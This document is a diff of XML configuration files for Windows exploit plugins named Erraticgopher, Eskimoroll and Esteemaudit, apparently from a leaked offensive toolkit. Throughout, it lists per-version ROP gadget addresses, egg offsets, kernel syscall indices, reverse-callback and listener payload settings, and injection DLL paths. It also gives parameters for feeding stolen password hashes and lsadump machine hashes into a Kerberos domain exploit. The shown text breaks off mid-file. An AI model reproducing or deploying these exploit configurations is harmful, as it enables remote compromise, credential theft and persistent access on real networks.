listenaddr="TargetIp"
listenport="MailCheckPort"
destaddr="//identifier"
destport="//service[name='pop3_imap_owa']/port"
closeoncompletion="true"/>
<t:remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackLocalPort"/>
</t:redirection>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,26 @@
<?xml version="1.0"?>
<t:config id="690f669b2682fb96513cc33c5d6e7f8016081e63"
name="Erraticgopher"
version="1.0.1"
configversion="1.0.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Rpctouch"
displayname="RPC Touch"
description="Touch to get Target OS"
postmessage="ERGO requires Target OS">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
<t:ivparam name="NetworkTimeout" value="NetworkTimeout"/>
<t:iparam name="Protocol" value="SMB"/>
<t:oparam name="Target" value="Target"/>
</t:plugin>
<t:plugin name="Erraticgophertouch"
displayname="ERGO Vulnerability Touch"
postmessage="ERGO requires a vulnerable OS">
<t:ivparam name="TargetPort" value="TargetPort"/>
<t:ivparam name="TargetIp" value="TargetIp"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,223 @@
<?xml version="1.0"?>
<t:config id="690f669b2682fb96513cc33c5d6e7f8016081e63"
name="Erraticgopher"
version="1.0.1"
configversion="1.0.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<t:parameter name="TargetIp"
xdevmap="TARGET_IP_V4_ADDRESS"
description="Target IP Address"
type="IPv4"/>
<t:parameter name="TargetPort"
xdevmap="TARGET_PORT"
description="Target port"
type="TcpPort"
default="445"/>
<t:paramchoice
name="ConnectionDirection"
xdevmap="TARGET_CONNECTION_DIRECTION"
description="Egg callback (Reverse callback) or Listener (Forward callback)"
default="0">
<t:paramgroup name="0" description="Reverse callback">
<t:parameter name="CallbackIp"
xdevmap="EXPLOIT_CALLBACK_IP_V4_ADDRESS"
description="Callback IP Address"
type="IPv4"/>
</t:paramgroup>
<t:paramgroup name="1" description="Forward callback">
</t:paramgroup>
</t:paramchoice>
<t:parameter name="CallbackPort"
xdevmap="EXPLOIT_CALLBACK_PORT"
description="Callback port or call in port"
type="TcpPort"/>
<t:paramchoice
name="Target"
xdevmap="TARGET_PLATFORM"
description="Target Operating System Version">
<!-- 2000 SP4 - Doesn't appear to allow access to Dimsvc over the 'browser' pipe, only over the 'router'
pipe. So the interface will only be reachable with credentials. Exploit does not currently support
credential use.
<t:paramgroup name="WIN2K_SP4" description="Windows 2000 SP4">
<t:parameter name="EggOffset" description="" type="U32" value="0x28" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x06D0" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x00E0" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x7CA0C02F" hidden="true"/>
</t:paramgroup>
-->
<!-- XP SP2 - Can't find the lock handle on the stack to cleanup, so exploiting will disable RRAS service.
One option would be to patch in the location of the lock, but that is language dependent. Probably
not too many XP SP2 RRAS boxes out there, so leaving it.
<t:paramgroup name="WINXP_SP2" description="Windows XP SP2">
<t:parameter name="EggOffset" description="" type="U32" value="0xE4" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0x0FFD0000" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x06D0" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x019C" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x000134D3" hidden="true"/>
<t:parameter name="RwAddress" description="" type="U32" value="0x00024588" hidden="true"/>
<t:parameter name="ZeroEax" description="" type="U32" value="0x0001095F" hidden="true"/>
<t:parameter name="MovEspEax" description="" type="U32" value="0x000135E8" hidden="true"/>
<t:parameter name="StoreEaxEcx" description="" type="U32" value="0x00010278" hidden="true"/>
<t:parameter name="SkipJunk" description="" type="U32" value="0x00014502" hidden="true"/>
<t:parameter name="SkipJunkPadding" description="" type="U32" value="0x0000000C" hidden="true"/>
<t:parameter name="GetVProtIndex" description="" type="U32" value="0x0000A08D" hidden="true"/>
<t:parameter name="vProtIndex" description="" type="U32" value="0x00000089" hidden="true"/>
<t:parameter name="vProtPadding" description="" type="U32" value="0x0000000C" hidden="true"/>
<t:parameter name="SetupEbx" description="" type="U32" value="0x00014505" hidden="true"/>
<t:parameter name="SysCallAddr" description="" type="U32" value="0x7FFE0300" hidden="true"/>
<t:parameter name="JumpEbx" description="" type="U32" value="0x00014D7C" hidden="true"/>
<t:parameter name="JumpEbxPadding" description="" type="U32" value="0x00000010" hidden="true"/>
<t:parameter name="Ret14" description="" type="U32" value="0x000069A8" hidden="true"/>
<t:parameter name="JumpEsp" description="" type="U32" value="0x00018F89" hidden="true"/>
</t:paramgroup>
-->
<t:paramgroup name="XPSP3" description="Windows XP SP3">
<t:parameter name="EggOffset" description="" type="U32" value="0xE4" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x0690" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x0190" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x00014E7A" hidden="true"/>
<t:parameter name="RwAddress" description="" type="U32" value="0x00032020" hidden="true"/>
<t:parameter name="ZeroEax" description="" type="U32" value="0x000121DE" hidden="true"/>
<t:parameter name="MovEspEax" description="" type="U32" value="0x00014F88" hidden="true"/>
<t:parameter name="StoreEaxEcx" description="" type="U32" value="0x0001137E" hidden="true"/>
<t:parameter name="SkipJunk" description="" type="U32" value="0x00015EA3" hidden="true"/>
<t:parameter name="SkipJunkPadding" description="" type="U32" value="0x0000000C" hidden="true"/>
<t:parameter name="GetVProtIndex" description="" type="U32" value="0x0000A965" hidden="true"/>
<t:parameter name="vProtIndex" description="" type="U32" value="0x00000089" hidden="true"/>
<t:parameter name="vProtPadding" description="" type="U32" value="0x0000000C" hidden="true"/>
<t:parameter name="SetupEbx" description="" type="U32" value="0x00015EA5" hidden="true"/>
<t:parameter name="SysCallAddr" description="" type="U32" value="0x7FFE0300" hidden="true"/>
<t:parameter name="JumpEbx" description="" type="U32" value="0x00011740" hidden="true"/>
<t:parameter name="JumpEbxPadding" description="" type="U32" value="0x00000010" hidden="true"/>
<t:parameter name="Ret14" description="" type="U32" value="0x0000692d" hidden="true"/>
<t:parameter name="JumpEsp" description="" type="U32" value="0x00011899" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="W2K3SP0" description="Windows 2003 SP0">
<t:parameter name="EggOffset" description="" type="U32" value="0x28" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x06B0" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x00E0" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x0FFEF4C9" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="W2K3SP1" description="Windows 2003 SP1">
<t:parameter name="EggOffset" description="" type="U32" value="0xC4" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x06B0" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x0170" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x00015BD8" hidden="true"/>
<t:parameter name="RwAddress" description="" type="U32" value="0x0002BA08" hidden="true"/>
<t:parameter name="ZeroEax" description="" type="U32" value="0x00012CE6" hidden="true"/>
<t:parameter name="MovEspEax" description="" type="U32" value="0x00015CF4" hidden="true"/>
<t:parameter name="StoreEaxEcx" description="" type="U32" value="0x00011EB9" hidden="true"/>
<t:parameter name="SkipJunk" description="" type="U32" value="0x00015D8B" hidden="true"/>
<t:parameter name="GetVProtIndex" description="" type="U32" value="0x000092A1" hidden="true"/>
<t:parameter name="vProtIndex" description="" type="U32" value="0x0000008F" hidden="true"/>
<t:parameter name="vProtPadding" description="" type="U32" value="0x00000008" hidden="true"/>
<t:parameter name="SetupEbx" description="" type="U32" value="0x00015D8D" hidden="true"/>
<t:parameter name="SysCallAddr" description="" type="U32" value="0x7FFE0300" hidden="true"/>
<t:parameter name="JumpEbx" description="" type="U32" value="0x0001227B" hidden="true"/>
<t:parameter name="Ret14" description="" type="U32" value="0x0000694E" hidden="true"/>
<t:parameter name="JumpEsp" description="" type="U32" value="0x000123D4" hidden="true"/>
</t:paramgroup>
<t:paramgroup name="W2K3SP2" description="Windows 2003 SP2">
<t:parameter name="EggOffset" description="" type="U32" value="0xC4" hidden="true"/>
<t:parameter name="RsaenhBase" description="" type="U32" value="0x68000000" hidden="true"/>
<t:parameter name="MaxEggSize" description="" type="U32" value="0x06B0" hidden="true"/>
<t:parameter name="LockStackOffset" description="" type="U32" value="0x0170" hidden="true"/>
<t:parameter name="InitialRetAddr" description="" type="U32" value="0x00015F8B" hidden="true"/>
<t:parameter name="RwAddress" description="" type="U32" value="0x000312C0" hidden="true"/>
<t:parameter name="ZeroEax" description="" type="U32" value="0x00012F87" hidden="true"/>
<t:parameter name="MovEspEax" description="" type="U32" value="0x000160A4" hidden="true"/>
<t:parameter name="StoreEaxEcx" description="" type="U32" value="0x00012121" hidden="true"/>
<t:parameter name="SkipJunk" description="" type="U32" value="0x0001613B" hidden="true"/>
<t:parameter name="GetVProtIndex" description="" type="U32" value="0x00009391" hidden="true"/>
<t:parameter name="vProtIndex" description="" type="U32" value="0x0000008F" hidden="true"/>
<t:parameter name="vProtPadding" description="" type="U32" value="0x00000008" hidden="true"/>
<t:parameter name="SetupEbx" description="" type="U32" value="0x0001613D" hidden="true"/>
<t:parameter name="SysCallAddr" description="" type="U32" value="0x7FFE0300" hidden="true"/>
<t:parameter name="JumpEbx" description="" type="U32" value="0x000124E3" hidden="true"/>
<t:parameter name="Ret14" description="" type="U32" value="0x00009946" hidden="true"/>
<t:parameter name="JumpEsp" description="" type="U32" value="0x0001263C" hidden="true"/>
</t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:parameter name="Contract"
description="The contract fulfilled by this plugin"
type="String"
value="StagedUpload"/>
<t:parameter name="XorMask"
description=""
type="U8"/>
<t:parameter name="ConnectedTcp"
description="Connected TCP Socket to target"
type="Socket"/>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='rpc']/port"
closeoncompletion="true"/>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="CallbackPort"
destaddr="//identifier"
destport="CallbackPort"
closeoncompletion="true"/>
<t:remote protocol="TCP"
listenaddr="CallbackIp"
listenport="CallbackPort"
destport="CallbackPort"/>
</t:redirection>
<t:logic>
<t:and>
<t:service name="rpc">
<t:bindtopath name="TargetPort" path="//service[name='rpc']/port"/>
</t:service>
<t:or>
<!--
<t:os family="windows" name="Windows XP" servicepack="0">
<t:bindtovalue name="Target" value="XPSP0"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="1">
<t:bindtovalue name="Target" value="XPSP1"/>
</t:os>
<t:os family="windows" name="Windows XP" servicepack="2">
<t:bindtovalue name="Target" value="XPSP2"/>
</t:os>
-->
<t:os family="windows" name="Windows XP" servicepack="3">
<t:bindtovalue name="Target" value="XPSP3"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="0">
<t:bindtovalue name="Target" value="W2K3SP0"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="1">
<t:bindtovalue name="Target" value="W2K3SP1"/>
</t:os>
<t:os family="windows" name="Windows 2003" servicepack="2">
<t:bindtovalue name="Target" value="W2K3SP2"/>
</t:os>
</t:or>
<t:not>
<t:os architecture="x86 64-bit"/>
</t:not>
<t:bindtovalue name="Payload" value="Callback"/>
</t:and>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,21 @@
<?xml version="1.0"?>
<t:config id="b312630cfabfbb7572a55a75e213eff54be451e1"
name="Eskimoroll"
version="1.1.1"
configversion="1.1.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:touchlist>
<t:plugin name="Domaintouch"
displayname="Domain Touch"
description="Eskimoroll domain information touch">
<t:oparam name="DomainDns" value="DomainDns"/>
<t:oparam name="DomainSid" value="DomainSid"/>
<t:oparam name="CredentialType" value="CredentialType"/>
<t:oparam name="Credential" value="Credential"/>
<t:oparam name="Username" value="Username"/>
</t:plugin>
</t:touchlist>
</t:config>

View file

@ -0,0 +1,148 @@
<?xml version="1.0"?>
<t:config id="b312630cfabfbb7572a55a75e213eff54be451e1"
name="Eskimoroll"
version="1.1.1"
configversion="1.1.1.0"
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlns:t='tc0'>
<t:inputparameters>
<t:parameter name="NetworkTimeout"
description="Timeout for blocking network calls (in seconds)"
type="S16"
default="60"/>
<t:parameter name="TargetIp"
description="Domain Controller's IP address"
type="IPv4"
binding="//identifier"/>
<t:parameter name="TargetPort"
description="Port used by the Kerberos service"
type="TcpPort"
binding="//service[name='kerberos']/port"
default="88"/>
<t:parameter name="Delay"
description="Time to wait between packets (in seconds)"
type="S32"
default="0"/>
<t:parameter name="TicketFile"
description="Local file to store ticket (leave blank for in-memory only)"
type="String"
default=""/>
<t:parameter name="TargetMachine"
description="Target's NetBIOS name (in Unicode)"
type="UString"/>
<t:parameter name="DomainDns"
description="DNS name of the domain being exploited (in Unicode)"
type="UString"/>
<t:parameter name="DomainSid"
description="SID of the domain being exploited (e.g., S-1-5-21-XXXX-XXXX)"
type="String"/>
<t:paramchoice name="CredentialType"
description="Password, password hash, ticket, etc">
<t:paramgroup name="UnicodeCreds"
description="Unicode encoded credentials">
<t:parameter name="Username"
description="Username entered as hex bytes (in Unicode)"
type="UString"/>
<t:parameter name="Credential"
description="Unicode password entered as hex bytes (in Unicode)"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="PasswordHash"
description="Password hash">
<t:parameter name="Username"
description="Username entered as hex bytes (in Unicode)"
type="UString"/>
<t:parameter name="Credential"
description="Hash of user/machine password entered as hex bytes"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="MachineHash"
description="Credentials for the domain computer, obtained from lsadump">
<t:parameter name="Username"
description="Machine's name, with trailing '$' character, in UNICODE"
type="UString"/>
<t:parameter name="Credential"
description="Machine hash obtained from lsadump, entered as HEX bytes."
type="UString"/>
</t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:paramchoice name="CredentialType"
description="Password, password hash, ticket, etc">
<t:paramgroup name="UnicodeCreds"
description="Unicode encoded credentials">
<t:parameter name="Username"
description="Username entered as hex bytes (in Unicode)"
type="UString"/>
<t:parameter name="Credential"
description="Unicode password entered as hex bytes (in Unicode)"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="PasswordHash"
description="Password hash">
<t:parameter name="Username"
description="Username entered as hex bytes (in Unicode)"
type="UString"/>
<t:parameter name="Credential"
description="Hash of user/machine password entered as hex bytes"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="MachineHash"
description="Credentials for the domain computer, obtained from lsadump">
<t:parameter name="Username"
description="Machine's name, with trailing '$' character, in UNICODE"
type="UString"/>
<t:parameter name="Credential"
description="Machine hash obtained from lsadump, entered as HEX bytes."
type="UString"/>
</t:paramgroup>
<t:paramgroup name="KerberosTicket"
description="Kerberos ticket for target machine">
<t:parameter name="Username"
description="Name of the user who owns the Kerberos ticket (in Unicode)"
type="UString"/>
<t:parameter name="DomainDns"
description="DNS name of the domain being exploited (in Unicode)"
type="UString"/>
<t:parameter name="KerberosTicket"
description="Kerberos ticket with necessary privileges"
type="UString"/>
<t:parameter name="SessionKey"
description="Encryption key used in the Kerberos ticket"
type="UString"/>
</t:paramgroup>
<t:paramgroup name="KerberosFile"
description="Kerberos ticket from disk">
<t:parameter name="TicketFile"
description="Local file holding Kerberos ticket"
type="LocalFile"/>
</t:paramgroup>
</t:paramchoice>
</t:outputparameters>
<t:redirection>
<t:local protocol="TCP"
listenaddr="TargetIp"
listenport="TargetPort"
destaddr="//identifier"
destport="//service[name='smb']/port"
closeoncompletion="true"/>
</t:redirection>
<t:logic>
<t:or>
<t:os family="windows" name="Windows 2000" osclass="Server"/>
<t:os family="windows" name="Windows 2003"/>
<t:os family="windows" name="Windows 2003 R2"/>
<t:os family="windows" name="Windows 2008"/>
<t:os family="windows" name="Windows 2008 R2" version="Free"/>
</t:or>
</t:logic>
</t:config>

Binary file not shown.

View file

@ -0,0 +1,866 @@
<?xml version='1.0' encoding='utf-8'?>
<config xmlns='urn:trch' name='Esteemaudit' version='2.1.0' schemaversion='2.1.0' configversion='2.1.0.0' id='2a7d82545aa7bdf8b44ee403dbebf2b360f55b3a'>
<inputparameters>
<parameter type='IPv4' name='TargetIp' description='Target IP Address'/>
<parameter type='TcpPort' name='TargetPort' description='Port used by the RDP service'>
<default>3389</default>
</parameter>
<parameter type='S16' name='NetworkTimeout' description='Timeout for connect() calls including egg callback'>
<default>60</default>
</parameter>
<parameter type='S16' name='PacketTimeout' description='Timeout for each RDP packet.'>
<default>10</default>
</parameter>
<parameter type='U32' name='MaxProcessCount' description='The maximum number of RDP process loops to allow'>
<default>300</default>
</parameter>
<parameter type='U32' name='RdpLibHertz' description='Extrapolated RdpLib processing cycles per second.'>
<default>30</default>
</parameter>
<parameter hidden='true' type='Boolean' name='SendSpacebar' description='Whether to send spacebar to clear legal text caption or not'>
<default>true</default>
</parameter>
<parameter hidden='true' type='U32' name='ProcessCountToSendSpaceOn' description='Process loop to clear the legal text caption on'>
<default>3</default>
</parameter>
<parameter hidden='true' type='U32' name='MaxRDPLibErrorCount' description='Maximum number of RDPLib errors to allow'>
<default>3</default>
</parameter>
<paramchoice name='Payload' description='How the egg will behave'>
<default>Callback</default>
<paramgroup name='Callback' description='The egg will callback to the specified IP and Port'>
<parameter type='IPv4' name='CallbackIp' description='Callback IP address the egg will connect to from target'/>
<parameter type='TcpPort' name='CallbackPort' description='Callback port that the egg will connect to from target'>
<default>0</default>
</parameter>
<parameter required='false' type='TcpPort' name='CallbackLocalPort' description='Callback port that we will listen on to receive the eggs connection'/>
</paramgroup>
<paramgroup name='Listener' description='The egg will open up a new listening port.'>
<parameter type='TcpPort' name='ListenPort' description='Port the egg will listen on'/>
<parameter required='false' type='TcpPort' name='CallinPort' description='Port we connect to'/>
</paramgroup>
</paramchoice>
<paramchoice name='Architecture' description='Architecture of the target'>
<paramgroup name='x86' description='Target is running on an x86 processor'>
<parameter type='LocalFile' name='MigrateProcessDLL' description=' The DLL that will be used to inject into a remote process'>
<default>D:\DSZOPSDISK\storage\rudo_x86.dll</default>
</parameter>
<parameter type='LocalFile' name='CallbackPayloadDLL' description='The DLL that will be used as a callback payload'>
<default>D:\DSZOPSDISK\storage\capa_x86.dll</default>
</parameter>
<parameter type='LocalFile' name='ListenPayloadDLL' description='The DLL that will be used as a listen payload'>
<default>D:\DSZOPSDISK\storage\lipa_x86.dll</default>
</parameter>
<paramchoice name='Target' description='OS and Service pack of the target'>
<paramgroup name='XPSP0' description='Windows XP SP0'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe37120</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='XPSP1' description='Windows XP SP1'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe37120</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='XPSP0|1' description='Windows XP SP0 or SP1'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe37120</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x0</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='XPSP2' description='Windows XP SP2'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe25158</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0fe2ab2d</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x0fe266b8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x00000089</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0fe3342a</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x44</default>
</parameter>
<parameter hidden='true' type='U32' name='secondStageAddress' description=''>
<default>0x0FE372B0</default>
</parameter>
<parameter hidden='true' type='U32' name='provContAddress' description=''>
<default>0x0FF94DB0</default>
</parameter>
<parameter hidden='true' type='U32' name='scardTransmitAddress' description=''>
<default>0x0FE21178</default>
</parameter>
<parameter hidden='true' type='U32' name='scardT0PciAddress' description=''>
<default>0x0FE211A8</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtAllocateVirtualMemory_Index' description='Index of NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x00000011</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtAllocateVirtualMemory_ArgSize' description='Size of stack arguments to NtAllocateVirtualMemory() in nt!KiServiceTable'>
<default>0x18</default>
</parameter>
<parameter hidden='true' type='U32' name='KiServiceTable_NtFreeVirtualMemory_Index' description='Index of NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x00000053</default>
</parameter>
<parameter hidden='true' type='U16' name='KiServiceTable_NtFreeVirtualMemory_ArgSize' description='Size of stack arguments to NtFreeVirtualMemory() in nt!KiServiceTable'>
<default>0x10</default>
</parameter>
</paramgroup>
<paramgroup name='XPSP3' description='Windows XP SP3'>
<parameter hidden='true' type='U32' name='GlobalBufAddr' description=''>
<default>0x0fe370b0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret0c' description=''>
<default>0x0fe25158</default>
</parameter>
<parameter hidden='true' type='U32' name='ret10' description=''>
<default>0x0fe2ab2d</default>
</parameter>
<parameter hidden='true' type='U32' name='ret04' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret08' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret20' description=''>
<default>0x0fe27243</default>
</parameter>
<parameter hidden='true' type='U32' name='ret28' description=''>
<default>0</default>
</parameter>
<parameter hidden='true' type='U32' name='ret40' description=''>
<default>0x0fe266b8</default>
</parameter>
<parameter hidden='true' type='U32' name='ret44' description=''>
<default>0x00004000</default>
</parameter>
<parameter hidden='true' type='U32' name='sysenterIndex' description=''>
<default>0x00000089</default>
</parameter>
<parameter hidden='true' type='U32' name='jmpEbx' description=''>
<default>0x0fe3342a</default>
</parameter>
<parameter hidden='true' type='U32' name='sizeOffest' description=''>
<default>0x44</default>
</parameter>
